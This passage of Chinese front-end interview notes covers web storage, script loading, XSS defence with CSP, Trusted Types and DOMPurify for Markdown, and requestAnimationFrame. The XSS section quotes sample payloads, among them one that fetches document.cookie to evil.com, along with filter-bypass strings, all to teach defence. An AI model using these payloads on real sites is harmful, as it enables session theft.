- 不要存 token:XSS 可直接读取。认证态优先用
HttpOnlycookie。 - 不要存大数据:同步 API,读写 1MB 的 JSON 会明显阻塞主线程;且每次读写都要
JSON.parse/stringify。
sessionStorage
- 适用:多步表单的中间态、页面内的一次性上下文(如从列表页跳详情页带的筛选条件)。
- 细节:复制标签页 /
target="_blank"打开新页时,新标签页会继承一份当时的 sessionStorage 快照,之后两者独立。这个行为常被忽略。 - 刷新页面不会清除;关闭标签页才清除。浏览器的"恢复上次会话"可能会恢复它。
IndexedDB
// 原生 API 基于事件回调较繁琐,生产建议用 idb / Dexie 封装
function openDB() {
return new Promise((resolve, reject) => {
const req = indexedDB.open('app-db', 2);
// 版本升级时创建/迁移对象仓库,是唯一能改 schema 的时机
req.onupgradeneeded = (e) => {
const db = e.target.result;
if (!db.objectStoreNames.contains('messages')) {
const store = db.createObjectStore('messages', { keyPath: 'id' });
store.createIndex('by_time', 'createdAt'); // 建索引以支持范围查询
}
};
req.onsuccess = () => resolve(req.result);
req.onerror = () => reject(req.error);
});
}
async function putMessage(msg) {
const db = await openDB();
// 事务是自动提交的:一旦控制权回到事件循环且无待处理请求即提交,
// 所以不能在事务中间 await 一个非 IDB 的 Promise,否则事务会提前关闭
const tx = db.transaction('messages', 'readwrite');
tx.objectStore('messages').put(msg);
return new Promise((res, rej) => {
tx.oncomplete = res;
tx.onerror = () => rej(tx.error);
});
}- 适用:离线应用数据、聊天记录、大量列表缓存、上传文件的断点信息(可直接存
Blob)。 - 可在 Web Worker / Service Worker 中使用,是唯一能在 Worker 里做持久化的主流方案。
- 配额与清理:用
navigator.storage.estimate()查配额,用navigator.storage.persist()申请持久化存储(避免存储压力下被自动清除)。
5.3 选型决策
需要服务端也读到 / 用于认证 → cookie(HttpOnly + Secure + SameSite)
小于 5MB 的字符串、需持久、读写不频繁 → localStorage
只在当前标签页有效的临时状态 → sessionStorage
结构化 / 大量 / 需索引查询 / 需在 Worker 中访问 → IndexedDB
缓存 HTTP 请求响应、做离线 → Cache Storage + Service Worker
高频随机读写的大文件(如视频剪辑) → OPFS (Origin Private File System)【追问 & 加分点】
- "token 存哪里最安全?"——最优是
HttpOnly + Secure + SameSite=Lax/Strict的 cookie(防 XSS 窃取),CSRF 由 SameSite + CSRF token 双重防御。若前后端分离必须跨域,可用「短期 access token 存内存 + 长期 refresh token 存 HttpOnly cookie」的组合,避免持久化到 localStorage。 - "localStorage 是同源的,那 http 和 https 的同域名共享吗?"——不共享。同源策略包含协议,
http://a.com和https://a.com是两个源。但 cookie 默认不区分协议(Secure属性只控制发送,不控制存储隔离),这是二者的一个重要差异。 - "如何跨标签页通信?"——
BroadcastChannel(最直接)、storage事件(兼容性最好)、SharedWorker、Service Worker的clients.postMessage。 - "存储什么时候会被浏览器自动清掉?"——磁盘压力下按 LRU 逐源清除(best-effort 模式);Safari 的 ITP 会清理 7 天未交互站点的脚本可写存储;隐私模式下关闭即清空。重要数据要调
navigator.storage.persist()。
6. script 的位置、async / defer、JS 报错对渲染的影响
【核心答案】
把无 async/defer 的 <script> 放在 <head> 会阻塞 HTML 解析:解析器必须停下来下载并执行完脚本才能继续构建 DOM,后果是首屏白屏时间变长、FCP/LCP 恶化、且脚本里访问不到后面的 DOM 节点(querySelector 返回 null);此外脚本执行前还要等它之前的 CSS 加载完(CSS 阻塞 JS 执行),进一步放大延迟。defer:并行下载,在 HTML 解析完成后、DOMContentLoaded 之前按文档顺序执行——这是外链业务脚本的默认最佳选择;async:并行下载,下载完立刻执行并中断解析,执行顺序不确定,适合与 DOM 和其他脚本都无依赖的独立脚本(统计埋点、广告)。JS 报错不会阻止 HTML 继续解析和渲染:语法错误使整个 script 不执行,运行时错误只中断当前脚本的当前执行任务,后续 script 和渲染照常进行;但如果是框架的挂载代码报错,页面就会呈现空的挂载容器(白屏)。
【展开】
6.1 三种加载方式对比
<!-- ① 无属性:下载 + 执行都阻塞解析 -->
<script src="a.js"></script>
<!-- ② async:下载不阻塞,下载完立即执行(会打断解析),顺序不保证 -->
<script async src="analytics.js"></script>
<!-- ③ defer:下载不阻塞,解析完成后按顺序执行,DOMContentLoaded 之前 -->
<script defer src="app.js"></script>时间轴示意:
无属性: 解析 ──[停]── 下载 ── 执行 ──── 继续解析 ──────────────▶ DCL
async: 解析 ────────────────────────────────────────────▶ DCL
└ 下载 ────┘└执行┘(打断解析,位置不定,可能在 DCL 前后)
defer: 解析 ─────────────────────────────────────┐
└ 下载 ────────────────────┘ └ 执行(按序) ─▶ DCL关键规则:
async/defer只对外链脚本有效,对内联脚本无效(type="module"的内联脚本除外,它天然是 defer 的)。- 多个
defer保证按文档顺序执行;多个async谁先下载完谁先执行。 defer脚本在DOMContentLoaded之前执行完;async脚本可能在 DCL 之前也可能之后。<script type="module">默认就是 defer 行为;加上async则变为 async 行为。document.createElement('script')动态插入的脚本默认是 async 的;要保序需显式设script.async = false。
选择建议:
| 场景 | 推荐 |
|---|---|
| 应用主逻辑、依赖 DOM、有模块顺序依赖 | defer(或放 </body> 前) |
| 独立埋点、A/B 实验、广告 | async |
| 必须最早执行的关键脚本(如反闪烁的主题设置、polyfill 检测) | 内联在 <head>(保持极小) |
| 现代模块化项目 | <script type="module">(自带 defer)+ <script nomodule defer> 兜底 |
6.2 放在前面且无异步属性的具体后果
- 阻塞 DOM 构建 → 白屏:解析器停在 script 处,后面的内容一个字都不会渲染。
- 拿不到后面的 DOM:
<head>
<script>
// 此刻 #app 还没被解析出来
console.log(document.querySelector('#app')); // null → 后续操作抛 TypeError
</script>
</head>
<body><div id="app"></div></body>- 被 CSS 二次拖慢:如果 script 之前有
<link rel="stylesheet">,浏览器必须等样式表下载解析完才执行该脚本(因为脚本可能读样式),于是 CSS 的网络延迟叠加到了 DOM 构建上。 - preload scanner 部分兜底但不能救场:预加载扫描器会继续往后扫描并提前下载资源,所以"下载"是并行的,但"解析和渲染"确实被卡住。
- 首屏指标全线恶化:FP/FCP/LCP 推迟,TTI 推迟。
正确做法: 用 defer(保持在 head 里也没问题,还能更早发起下载),或放在 </body> 前。前者更优,因为 head 中的 defer 脚本下载起点更早。
6.3 JS 报错对渲染的影响
| 错误类型 | 影响 |
|---|---|
| 语法错误(SyntaxError) | 该 <script> 整体不执行(编译期就失败),但不影响 HTML 解析、不影响其他 script |
| 运行时错误(TypeError 等) | 中断当前脚本当前任务的后续语句,冒泡到 window.onerror;后续 script、后续事件回调、渲染都正常 |
| 事件回调中报错 | 只中断该回调,其他监听器仍会执行(同一事件的其他 listener 不受影响) |
| 未处理的 Promise rejection | 触发 unhandledrejection,不中断任何同步流程 |
| 框架挂载代码报错 | HTML 依然渲染,但挂载点内为空 → 用户看到白屏。这是"报错导致白屏"的真实机制 |
document.write 在异步脚本中 | 会清空整个文档(规范规定在解析完成后调用 document.write 等价于 document.open()),是真正的"页面消失" |
// 全局错误监控(生产必备)
window.addEventListener('error', (e) => {
if (e.target !== window) {
// 资源加载失败(img/script/link)不冒泡,必须在捕获阶段拿
report({ type: 'resource', url: e.target.src || e.target.href });
return;
}
report({ type: 'js', message: e.message, stack: e.error?.stack,
file: e.filename, line: e.lineno, col: e.colno });
}, true); // ← 捕获阶段,才能捕获资源加载错误
window.addEventListener('unhandledrejection', (e) => {
report({ type: 'promise', reason: String(e.reason), stack: e.reason?.stack });
});跨域脚本的 "Script error." 问题:从其他域加载的脚本,出于安全考虑浏览器只给出 Script error.,没有行号和堆栈。解决方法两步缺一不可:
<script src="https://cdn.example.com/app.js" crossorigin="anonymous"></script># 服务端响应头
Access-Control-Allow-Origin: *【追问 & 加分点】
- "
defer的脚本一定在DOMContentLoaded前执行完吗?"——是,规范保证。但动态插入的script.defer = true无效(动态脚本默认 async,defer属性对它不生效)。 - "
preload和prefetch、modulepreload区别?"——preload是"当前页面马上要用,高优先级立刻下载"(需配as属性,否则会下载两次);prefetch是"下个页面可能用,空闲时低优先级下载";modulepreload专用于 ES 模块,会连同其依赖图一起预加载。 - "CSS 会阻塞 DOM 解析吗?"——不会阻塞 DOM 解析,但阻塞渲染,也阻塞其后同步脚本的执行(从而间接阻塞 DOM 解析)。
<link rel="stylesheet" media="print">或media="(min-width:800px)"不匹配时不阻塞渲染,是延迟加载非关键 CSS 的技巧。 - "如何避免第三方脚本拖垮页面?"——用
async+defer、放进<iframe>沙箱隔离、用 Partytown 把它们搬到 Web Worker、设置Content-Security-Policy限制来源、用 Long Task 监控归因。
7. XSS 防御体系与 Markdown 渲染场景
【核心答案】
XSS 的本质是把用户输入当成了代码执行,分三类:存储型(恶意内容入库,所有访问者中招)、反射型(恶意内容在 URL 里,诱导点击)、DOM 型(前端 JS 把不可信数据写进危险的 sink,服务端毫不知情)。防御是分层的,不能只靠一招:① 输出编码——按上下文(HTML 文本 / 属性 / URL / JS / CSS)做对应转义,优先用 textContent、框架的默认转义,杜绝 innerHTML 拼接;② 内容安全策略 CSP——script-src 'self' 'nonce-xxx' 'strict-dynamic',即使注入成功也无法执行;③ 输入侧白名单校验——尤其是 URL 协议白名单,挡住 javascript: / data:;④ cookie 加 HttpOnly + SameSite——降低攻击成功后的损失;⑤ Trusted Types——从浏览器层面强制所有写入 DOM 的字符串都经过策略函数。Markdown 渲染场景因为要输出富文本 HTML,不能靠转义,必须用 DOMPurify 之类的白名单 sanitizer 对渲染出的 HTML 做净化,同时关闭 Markdown 解析器的原始 HTML 直通选项。
【展开】
7.1 三种 XSS
// 反射型:URL 参数直接回显到页面
// https://site.com/search?q=<img src=x onerror=alert(1)>
document.querySelector('#result').innerHTML = `搜索:${new URLSearchParams(location.search).get('q')}`;
// 存储型:评论内容入库后渲染给所有人
// 危害最大,一条评论可以打全站
// DOM 型:数据从未经过服务端
location.hash = '#<img src=x onerror=fetch("//evil.com?c="+document.cookie)>';
el.innerHTML = decodeURIComponent(location.hash.slice(1));危险的 sink(写入点)清单 —— 面试能背出来说明确实做过安全:
innerHTML / outerHTML / insertAdjacentHTML / document.write / document.writeln
element.setAttribute('onclick', ...) / 任何 on* 属性
<a href> / <iframe src> / <form action> / window.location / location.assign
eval / new Function / setTimeout(字符串) / setInterval(字符串)
element.srcdoc / <object data> / <embed src>
jQuery: $(html)、.html()、.append(不可信字符串)
Vue: v-html React: dangerouslySetInnerHTML Angular: [innerHTML] + bypassSecurityTrust*7.2 分层防御
① 上下文相关的输出编码
同一份数据放在不同位置需要不同的转义,这是很多人答不全的点:
| 输出位置 | 需要转义的字符 / 做法 |
|---|---|
| HTML 文本节点 | & < > " ' → 实体;最好直接用 textContent |
| HTML 属性值 | 同上 + 必须加引号包裹(否则 a b onerror=x 可以逃逸) |
| URL 参数 | encodeURIComponent;且校验协议只允许 http/https/mailto |
<script> 内 | 用 JSON.stringify 并转义 </script、<!--、U+2028/2029;最好改用 <script type="application/json"> + JSON.parse(textContent) |
| CSS | 严格白名单,禁止 expression()、url(javascript:) |
// 最简单也最有效的做法:不要拼 HTML
el.textContent = userInput; // ✅ 永远安全
el.innerHTML = `<b>${userInput}</b>`; // ❌ 危险
// 需要结构时用 DOM API 组装
const b = document.createElement('b');
b.textContent = userInput;
el.replaceChildren(b); // ✅ 安全
// URL 协议白名单
function safeUrl(url) {
try {
const u = new URL(url, location.origin);
return ['http:', 'https:', 'mailto:'].includes(u.protocol) ? u.href : '#';
} catch { return '#'; }
}② CSP(Content Security Policy)—— 纵深防御的核心
Content-Security-Policy:
default-src 'self';
script-src 'nonce-r4nd0m123' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
require-trusted-types-for 'script';
report-uri /csp-report要点:
nonce+strict-dynamic是当前推荐方案:每次响应生成随机 nonce,只有带正确 nonce 的<script>能执行;strict-dynamic允许受信脚本动态创建的脚本继承信任,从而兼容打包器。老浏览器不认识strict-dynamic,会回退到https:和'unsafe-inline'——所以后两者是向后兼容的降级项,在支持 strict-dynamic 的浏览器中会被忽略。- 基于域名白名单的 CSP 很容易被绕过(白名单里的 CDN 上常有 JSONP 端点或旧版框架),所以业界已转向 nonce 方案。
object-src 'none'和base-uri 'none'是必备项:前者堵死 Flash/plugin 注入,后者防止攻击者用<base>劫持所有相对路径脚本。- 先用
Content-Security-Policy-Report-Only上线观察,再切换成强制模式。
③ Trusted Types(Chrome/Edge 支持)
// 开启后,任何往 innerHTML 等 sink 写字符串的行为都会抛错,必须经过策略
const policy = trustedTypes.createPolicy('app-html', {
createHTML: (input) => DOMPurify.sanitize(input),
});
el.innerHTML = policy.createHTML(userHtml); // 只有 TrustedHTML 才被接受配合 Content-Security-Policy: require-trusted-types-for 'script',能从编译期/运行期强制所有 DOM XSS sink 走净化,是目前对抗 DOM XSS 最彻底的手段。
④ cookie 加固
HttpOnly 让 XSS 拿不到 token;SameSite=Lax/Strict 防 CSRF;Secure 防明文泄露。这是"降低损失"而非"阻止攻击"。
⑤ 框架的默认保护与逃生口
React/Vue/Angular 默认对插值做 HTML 转义,绝大多数 XSS 来自主动使用逃生口:
// React
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />
// 另一个易忽略的洞:href 未校验协议
<a href={userUrl}>link</a> // userUrl = "javascript:alert(1)" 在 React 中会警告但旧版可执行<!-- Vue -->
<div v-html="sanitizedHtml"></div>
<!-- 绝不要把用户输入放进 :href / :src 而不校验协议 -->7.3 Markdown 渲染场景的防 XSS
Markdown 的难点在于它的产物本来就是 HTML,不能一转了之,只能"白名单净化"。
危险面:
- Markdown 语法允许内嵌原始 HTML:
<img src=x onerror=alert(1)>、<script>、<iframe>。 - 链接协议:
[click](javascript:alert(1))、[x](data:text/html;base64,...)。 - 图片:
)—— 依赖解析器是否正确转义属性。 - 引用式链接、HTML 实体绕过、大小写混写
JaVaScRiPt:、内嵌javascript:。 - 扩展功能:代码块高亮插件、Mermaid、KaTeX/MathJax 的注入面(MathJax 曾有多次 XSS CVE)。
正确姿势(服务端存原文 + 渲染时净化,双端都做):
import { marked } from 'marked';
import DOMPurify from 'dompurify';
// ① 解析器层面先关掉原始 HTML 直通(markdown-it 更彻底)
// markdown-it: MarkdownIt({ html: false, linkify: true })
// marked 没有 html:false 选项,必须依赖后置 sanitize
// 注意:marked 的 sanitize 选项已在 v5 移除,官方明确要求使用 DOMPurify
const rawHtml = marked.parse(markdownText, { gfm: true, breaks: true });
// ② 白名单净化(唯一可靠的一步)
const clean = DOMPurify.sanitize(rawHtml, {
ALLOWED_TAGS: [
'h1','h2','h3','h4','h5','h6','p','br','hr','blockquote',
'ul','ol','li','strong','em','del','code','pre',
'a','img','table','thead','tbody','tr','th','td','span',
],
ALLOWED_ATTR: ['href','title','alt','src','class','colspan','rowspan'],
// 只允许安全协议,堵死 javascript: / data:(data 图片需要时单独放行 image/png 等)
ALLOWED_URI_REGEXP: /^(?:https?|mailto):|^[#/]/i,
FORBID_TAGS: ['style','script','iframe','object','embed','form','input','svg','math'],
FORBID_ATTR: ['style','srcset','formaction'],
// 禁止 <template>/<svg>/<math> 相关的命名空间混淆(mXSS 的经典入口)
USE_PROFILES: { html: true },
});
// ③ 外链加 rel,避免 window.opener 劫持(反向 tabnabbing)
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.tagName === 'A' && node.hasAttribute('href')) {
node.setAttribute('target', '_blank');
node.setAttribute('rel', 'noopener noreferrer');
}
});
container.innerHTML = clean;必须强调的几点:
- 净化要在"最终渲染成 HTML 的那一端"做。只在服务端存储时净化是不够的(库升级、别的入口写入、mXSS 变形都可能绕过);只在前端做则 API 可能被别的客户端消费。推荐:存原始 Markdown,渲染时净化;同时服务端渲染路径也走同一套配置。
- mXSS(mutation XSS):浏览器 HTML 解析器的容错重写会让"净化后安全"的字符串在被写入
innerHTML时变形成危险结构(历史上 DOMPurify 修过多次)。缓解办法:净化后用DOMParser解析再插入、保持 DOMPurify 版本更新、并叠加 CSP。 - 不要自己写正则黑名单(
replace(/<script>/g, '')之类)。黑名单在 HTML 解析器的容错性面前必然失败:<scr<script>ipt>、<img/src=x/onerror=1>、实体编码、换行符……只有白名单是可靠的。 - 服务端渲染 Markdown 需要
isomorphic-dompurify或jsdom+ DOMPurify;Node 侧另有sanitize-html可选。 - 叠加 CSP 兜底:即便 sanitizer 有 0-day,
script-src 'nonce-...'也能让注入的脚本无法执行。
【追问 & 加分点】
- "为什么不能只靠输入过滤?"——同一份输入可能被输出到 HTML、属性、URL、JS 多个上下文,输入时不知道它将来放哪里,转义规则也不同;而且过滤会破坏合法内容(用户就是想发
<这个字符)。正确原则:输入做校验(长度、格式、协议),输出做上下文相关的编码。 - "CSP 会不会被绕过?"——会。常见绕过:白名单 CDN 上的 JSONP、AngularJS 沙箱逃逸、
base-uri未限制导致的脚本路径劫持、unsafe-eval开着。所以要用 nonce + strict-dynamic,并配object-src 'none'、base-uri 'none'。 - "XSS 和 CSRF 的区别?"——XSS 是"在你的域上执行了攻击者的脚本",攻击的是信任的内容;CSRF 是"利用你已登录的凭证,从别的站点发起请求",攻击的是信任的凭证。XSS 可以直接绕过所有 CSRF 防护(因为脚本能读到 token),所以 XSS 优先级更高。
- "富文本编辑器(如所见即所得)怎么防?"——同样是白名单:存储前后都过 sanitizer,限制标签集与属性集,图片走自己的代理域,禁用
style属性或用 CSS 属性白名单,并在展示端叠加 CSP。
8. requestAnimationFrame 的执行时机与原理
【核心答案】
requestAnimationFrame(cb) 注册的回调在浏览器下一次重绘之前、渲染流水线开始时执行,属于 HTML 规范里"update the rendering(更新渲染)"步骤的一环,位置是:处理输入事件 → 执行 rAF 回调 → 样式计算 → 布局 → 预绘制 → 绘制 → 提交合成。它的频率跟随显示器刷新率并由浏览器与显示器 VSync 对齐——60Hz 下约 16.7ms 一次,120Hz 高刷屏下约 8.3ms,不是固定 60fps。与 setTimeout 的核心区别是:setTimeout 的触发时机与渲染无关,会出现一帧内跑两次或一帧都没跑到的"抖动/丢帧",且后台标签页被节流到 ≥1s;而 rAF 与渲染节拍严格对齐,页面不可见(切到后台标签、最小化)时完全不触发,天然省电省 CPU。
【展开】
8.1 在事件循环中的确切位置
HTML 规范中,事件循环的一次迭代大致是:
1. 取出一个 task(宏任务)并执行
2. 微任务检查点(清空微任务队列)
3. 判断本次迭代是否需要"更新渲染"(由浏览器根据刷新率与是否有变更决定)
若需要,对每个需要渲染的 document 执行:
a. 派发 resize / scroll 事件
b. 执行 Media Query / CSS 动画事件、滚动驱动动画
c. ★ 运行 animation frame callbacks(即 rAF 回调)
d. 执行 IntersectionObserver / ResizeObserver 的相关步骤
e. 更新样式(Recalculate Style)
f. 更新布局(Layout)
g. 绘制(Paint)→ 提交给合成线程
4. 若是"空闲期",运行 requestIdleCallback 回调由此得到几个重要结论:
- rAF 不是宏任务队列里的普通 task,你无法用"宏任务/微任务"二分法给它定位。它是渲染步骤的一部分。
- rAF 回调里改样式,本帧就能生效——因为紧接着就是样式计算和布局,不会多等一帧。这就是"动画写在 rAF 里最流畅"的原因。
- 在 rAF 回调里读几何属性(如
offsetWidth)读到的是上一帧的布局结果,此时读取不会造成强制同步布局(本帧的布局还没开始,上一帧的结果是干净的);但如果你在 rAF 里先写后读,仍会触发强制同步布局。 - 同一帧的多个 rAF 回调收到相同的时间戳参数(
DOMHighResTimeStamp,与performance.now()同源),这个时间戳是"本帧开始渲染的时刻",用它做动画计算比Date.now()精确且一致。 - 回调执行时会先把当前的回调列表整体取出再依次调用,所以在 rAF 回调里再次
requestAnimationFrame会排到下一帧,不会造成本帧死循环——这正是循环动画的标准写法。 - 每个 rAF 回调返回后 JS 栈清空,会进行一次微任务检查点,因此回调内
Promise.resolve().then()会在下一个 rAF 回调之前执行。
8.2 与 setTimeout 的区别
| 维度 | requestAnimationFrame | setTimeout |
|---|---|---|
| 触发时机 | 与显示器刷新(VSync)对齐,重绘前 | 到期后作为宏任务执行,与渲染无关 |
| 频率 | 跟随刷新率(60Hz≈16.7ms,120Hz≈8.3ms,可变刷新率也会跟随) | 固定间隔,但有嵌套 >5 层钳制到 4ms |
| 页面隐藏 | 完全不触发(回调堆积,恢复可见时才继续) | 被节流到 ≥1000ms(Chrome 还有 intensive throttling 至 60s) |
| 丢帧行为 | 掉帧时跳过该帧,不会积压 | 回调会积压,可能同一帧内跑多次 |
| 时间戳 | 回调参数是精确的帧时间戳 | 需自己调 performance.now() |
| 电量/CPU | 不可见时不跑,省电 | 仍会低频执行 |
| 适用 | 视觉动画、滚动跟随、canvas 逐帧渲染 | 定时逻辑、轮询、延迟执行 |
// ❌ setTimeout 动画:与刷新不同步,会抖动
let x = 0;
setInterval(() => { box.style.transform = `translateX(${x++}px)`; }, 16);
// ✅ rAF 动画:用时间戳做插值,与帧率解耦,60Hz/120Hz 表现一致
function animate(from, to, duration, onUpdate) {
let start = null;
let rafId = 0;
const step = (timestamp) => { // timestamp = 本帧开始时刻
if (start === null) start = timestamp;
const p = Math.min((timestamp - start) / duration, 1);
const eased = 1 - Math.pow(1 - p, 3); // easeOutCubic
onUpdate(from + (to - from) * eased);
if (p < 1) rafId = requestAnimationFrame(step);
};
rafId = requestAnimationFrame(step);
return () => cancelAnimationFrame(rafId); // 返回取消函数,组件卸载时务必调用
}
const cancel = animate(0, 300, 400, (v) => {
box.style.transform = `translateX(${v}px)`; // 用 transform 而非 left,走合成不回流
});用 rAF 做高频事件的节流(比 setTimeout 节流更贴合渲染节奏):
function rafThrottle(fn) {
let ticking = false;
let lastArgs;
return function (...args) {
lastArgs = args;
if (ticking) return; // 本帧已排队,直接丢弃中间事件
ticking = true;
requestAnimationFrame(() => {
ticking = false;
fn.apply(this, lastArgs); // 只用最后一次的参数,保证视觉是最新的
});
};
}
window.addEventListener('scroll', rafThrottle(() => {
header.classList.toggle('shrink', window.scrollY > 100);
}), { passive: true });8.3 页面隐藏时的行为与其他细节
- 标签页切到后台 / 浏览器最小化 / 屏幕锁定:rAF 停止触发(
document.visibilityState === 'hidden')。回调不会被丢弃,只是不执行;页面重新可见时会以一个新的时间戳继续。 - 因此必须用时间戳做插值,不能用"计数器 + 固定步长":否则页面切回来后动画会瞬间跳变或进度错乱。
display: none或完全不可见的 iframe 内的 rAF 同样不触发。- 配合
visibilitychange主动暂停业务逻辑(如轮询、游戏循环):
document.addEventListener('visibilitychange', () => {
if (document.hidden) {
pauseGame(); // rAF 本来就停了,但要把游戏时钟一起停掉,避免恢复时"时间跳跃"
} else {
lastTime = performance.now(); // 重置基准时间
resumeGame();
}
});- 多显示器 / 可变刷新率:把窗口拖到不同刷新率的显示器上,rAF 频率会随之改变。所以任何"每帧 +1px"的写法都是错的。
cancelAnimationFrame(id):SPA 组件卸载、路由切换时必须调用,否则回调持续持有 DOM 引用导致泄漏。- 相关 API 的时机对照:
requestIdleCallback:在一帧渲染完成后的空闲时间执行,可能整帧都没有空闲而被跳过(有timeout兜底)。ResizeObserver回调:在布局之后、绘制之前派发,因此在其中改尺寸能在同一帧生效(但循环改动会触发 "ResizeObserver loop limit exceeded" 警告)。IntersectionObserver回调:作为渲染步骤的一部分异步派发,不阻塞。- Web Animations API / CSS 动画:可以跑在合成线程上,不受主线程 rAF 阻塞影响,因此比 rAF 更抗卡顿。
【追问 & 加分点】
- "rAF 是宏任务还是微任务?"——都不是。它属于渲染步骤中的 "run the animation frame callbacks",在微任务检查点之后、样式计算之前执行。能明确否定这个二分法就是加分。
- "为什么在 rAF 回调里改 DOM 比在 setTimeout 里改好?"——rAF 回调后紧跟样式/布局/绘制,改动在本帧就渲染出来,且天然与浏览器合并成一次;
setTimeout里改可能刚好错过本帧的渲染时机,多等一帧(+16.7ms 延迟),或者一帧内改多次造成无谓计算。 - "如何测量真实帧率?"——统计相邻 rAF 时间戳差值的滑动平均:
fps = 1000 / (t - lastT);更专业的用PerformanceObserver观察long-animation-frame(LoAF,Chrome 123+)定位掉帧的归因脚本。 - "高刷屏下动画速度会变快吗?"——如果用"每帧固定增量"就会变快(120Hz 下快一倍);用时间戳插值就不会。这是判断候选人有没有真写过动画的经典问题。
- "能不能在 Worker 里用 rAF?"——DedicatedWorker 里没有
requestAnimationFrame;但OffscreenCanvas转移到 Worker 后,Worker 全局提供了requestAnimationFrame,可以在 Worker 里做逐帧的 canvas 渲染,彻底不占主线程。
反向链接(0)
还没有笔记链接到这里。在 Obsidian 里用 [[笔记名]] 引用它,这里就会出现,关系图谱上也会多出一条连线。